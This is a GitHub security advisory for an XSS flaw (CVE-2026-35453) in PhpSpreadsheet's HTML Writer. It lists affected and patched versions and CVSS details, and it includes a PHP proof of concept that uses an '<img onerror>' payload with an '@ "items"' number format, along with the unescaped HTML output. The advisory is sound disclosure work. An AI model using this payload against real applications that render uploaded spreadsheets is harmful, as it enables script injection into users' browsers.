Skip to content

PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

Moderate severity GitHub Reviewed Published Apr 26, 2026 in PHPOffice/PhpSpreadsheet • Updated May 8, 2026

Package

composer phpoffice/phpspreadsheet (Composer)

Affected versions

>= 4.0.0, <= 5.6.0
>= 3.3.0, <= 3.10.4
>= 2.2.0, <= 2.4.4
>= 2.0.0, <= 2.1.15
<= 1.30.3

Patched versions

5.7.0
3.10.5
2.4.5
2.1.16
1.30.4

Description

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in Html.php:1586-1594

$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in Formatter.php:136-152

if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
        <col class="col0" />
        <tbody>
          <tr class="row0">
            <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
          </tr>
    </tbody></table>
</div>
  </body>
</html>

Screenshot 2026-04-02 at 18 45 53

Impact

The impact changes based on the way the HTML is served.
In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

References

@oleibman oleibman published to PHPOffice/PhpSpreadsheet Apr 26, 2026
Published to the GitHub Advisory Database Apr 28, 2026
Reviewed Apr 28, 2026
Published by the National Vulnerability Database May 5, 2026
Last updated May 8, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as <, >, and & that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. Learn more on MITRE.

CVE ID

CVE-2026-35453

GHSA ID

GHSA-6wpp-88cp-7q68

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.